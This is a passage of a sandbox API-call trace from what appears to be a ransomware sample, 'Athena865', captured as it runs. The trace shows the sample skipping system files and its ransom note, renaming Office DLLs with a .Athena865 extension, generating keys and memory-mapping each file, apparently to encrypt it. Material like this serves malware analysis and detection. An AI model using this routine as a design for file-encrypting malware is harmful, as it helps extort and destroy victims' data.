hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79220) returned 1 [0070.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.782] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.782] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.782] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.782] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13880, lpName=0x0) returned 0x154 [0070.784] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13880) returned 0x100000 [0070.787] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.788] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.788] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.789] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.790] CloseHandle (hObject=0x154) returned 1 [0070.790] CloseHandle (hObject=0x17c) returned 1 [0070.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.790] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0070.790] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.790] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.790] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2=".") returned 1 [0070.790] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="..") returned 1 [0070.790] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="windows") returned -1 [0070.790] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="bootmgr") returned 1 [0070.790] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="temp") returned -1 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="pagefile.sys") returned -1 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="boot") returned 1 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="ids.txt") returned -1 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="ntuser.dat") returned -1 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="perflogs") returned -1 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2="MSBuild") returned -1 [0070.791] lstrlenW (lpString="EXSEC32.DLL") returned 11 [0070.791] lstrcpyW (in: lpString1=0x241e89e, lpString2="EXSEC32.DLL" | out: lpString1="EXSEC32.DLL") returned="EXSEC32.DLL" [0070.791] lstrlenW (lpString="EXSEC32.DLL") returned 11 [0070.791] lstrlenW (lpString="Athena865") returned 9 [0070.791] lstrcmpiW (lpString1="SEC32.DLL", lpString2="Athena865") returned 1 [0070.791] lstrlenW (lpString=".dll") returned 4 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2=".dll") returned 1 [0070.791] lstrlenW (lpString=".lnk") returned 4 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2=".lnk") returned 1 [0070.791] lstrlenW (lpString=".ini") returned 4 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2=".ini") returned 1 [0070.791] lstrlenW (lpString=".sys") returned 4 [0070.791] lstrcmpiW (lpString1="EXSEC32.DLL", lpString2=".sys") returned 1 [0070.791] lstrlenW (lpString="EXSEC32.DLL") returned 11 [0070.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.Athena865") returned 64 [0070.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll.athena865"), dwFlags=0x1) returned 1 [0070.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.792] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=474960) returned 1 [0070.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.793] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.793] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.793] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.793] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x74250, lpName=0x0) returned 0x154 [0070.795] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x74250) returned 0x2d50000 [0070.811] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.811] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.811] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.812] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.817] CloseHandle (hObject=0x154) returned 1 [0070.817] CloseHandle (hObject=0x17c) returned 1 [0070.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.819] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0070.819] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.819] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.819] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2=".") returned 1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="..") returned 1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="windows") returned -1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="bootmgr") returned 1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="temp") returned -1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="pagefile.sys") returned -1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="boot") returned 1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="ids.txt") returned -1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="ntuser.dat") returned -1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="perflogs") returned -1 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2="MSBuild") returned -1 [0070.820] lstrlenW (lpString="EXTRACT.DLL") returned 11 [0070.820] lstrcpyW (in: lpString1=0x241e89e, lpString2="EXTRACT.DLL" | out: lpString1="EXTRACT.DLL") returned="EXTRACT.DLL" [0070.820] lstrlenW (lpString="EXTRACT.DLL") returned 11 [0070.820] lstrlenW (lpString="Athena865") returned 9 [0070.820] lstrcmpiW (lpString1="TRACT.DLL", lpString2="Athena865") returned 1 [0070.820] lstrlenW (lpString=".dll") returned 4 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2=".dll") returned 1 [0070.820] lstrlenW (lpString=".lnk") returned 4 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2=".lnk") returned 1 [0070.820] lstrlenW (lpString=".ini") returned 4 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2=".ini") returned 1 [0070.820] lstrlenW (lpString=".sys") returned 4 [0070.820] lstrcmpiW (lpString1="EXTRACT.DLL", lpString2=".sys") returned 1 [0070.820] lstrlenW (lpString="EXTRACT.DLL") returned 11 [0070.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.Athena865") returned 64 [0070.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll.athena865"), dwFlags=0x1) returned 1 [0070.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.822] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=340904) returned 1 [0070.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.823] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.823] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.823] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x536b0, lpName=0x0) returned 0x154 [0070.825] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x536b0) returned 0x2d50000 [0070.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.837] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.837] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.837] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.841] CloseHandle (hObject=0x154) returned 1 [0070.841] CloseHandle (hObject=0x17c) returned 1 [0070.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.842] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0070.842] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2=".") returned 1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="..") returned 1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="windows") returned -1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="bootmgr") returned 1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="temp") returned -1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="pagefile.sys") returned -1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="boot") returned 1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="ids.txt") returned -1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="ntuser.dat") returned -1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="perflogs") returned -1 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2="MSBuild") returned -1 [0070.843] lstrlenW (lpString="FACILITY.DLL") returned 12 [0070.843] lstrcpyW (in: lpString1=0x241e89e, lpString2="FACILITY.DLL" | out: lpString1="FACILITY.DLL") returned="FACILITY.DLL" [0070.843] lstrlenW (lpString="FACILITY.DLL") returned 12 [0070.843] lstrlenW (lpString="Athena865") returned 9 [0070.843] lstrcmpiW (lpString1="ILITY.DLL", lpString2="Athena865") returned 1 [0070.843] lstrlenW (lpString=".dll") returned 4 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2=".dll") returned 1 [0070.843] lstrlenW (lpString=".lnk") returned 4 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2=".lnk") returned 1 [0070.843] lstrlenW (lpString=".ini") returned 4 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2=".ini") returned 1 [0070.843] lstrlenW (lpString=".sys") returned 4 [0070.843] lstrcmpiW (lpString1="FACILITY.DLL", lpString2=".sys") returned 1 [0070.843] lstrlenW (lpString="FACILITY.DLL") returned 12 [0070.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.Athena865") returned 65 [0070.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.athena865"), dwFlags=0x1) returned 1 [0070.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.845] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1621864) returned 1 [0070.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.845] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.846] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.846] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.846] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18c270, lpName=0x0) returned 0x154 [0070.848] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18c270) returned 0x2d50000 [0070.912] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.913] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.913] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.914] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.929] CloseHandle (hObject=0x154) returned 1 [0070.929] CloseHandle (hObject=0x17c) returned 1 [0070.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.940] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2=".") returned 1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="..") returned 1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="windows") returned -1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="bootmgr") returned 1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="temp") returned -1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="pagefile.sys") returned -1 [0070.940] lstrcmpiW (lpString1="FORM.DLL", lpString2="boot") returned 1 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2="ids.txt") returned -1 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2="ntuser.dat") returned -1 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2="perflogs") returned -1 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2="MSBuild") returned -1 [0070.941] lstrlenW (lpString="FORM.DLL") returned 8 [0070.941] lstrcpyW (in: lpString1=0x241e89e, lpString2="FORM.DLL" | out: lpString1="FORM.DLL") returned="FORM.DLL" [0070.941] lstrlenW (lpString="FORM.DLL") returned 8 [0070.941] lstrlenW (lpString="Athena865") returned 9 [0070.941] lstrlenW (lpString=".dll") returned 4 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2=".dll") returned 1 [0070.941] lstrlenW (lpString=".lnk") returned 4 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2=".lnk") returned 1 [0070.941] lstrlenW (lpString=".ini") returned 4 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2=".ini") returned 1 [0070.941] lstrlenW (lpString=".sys") returned 4 [0070.941] lstrcmpiW (lpString1="FORM.DLL", lpString2=".sys") returned 1 [0070.941] lstrlenW (lpString="FORM.DLL") returned 8 [0070.941] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.Athena865") returned 61 [0070.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll.athena865"), dwFlags=0x1) returned 1 [0070.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.959] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=239488) returned 1 [0070.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.960] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.961] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: 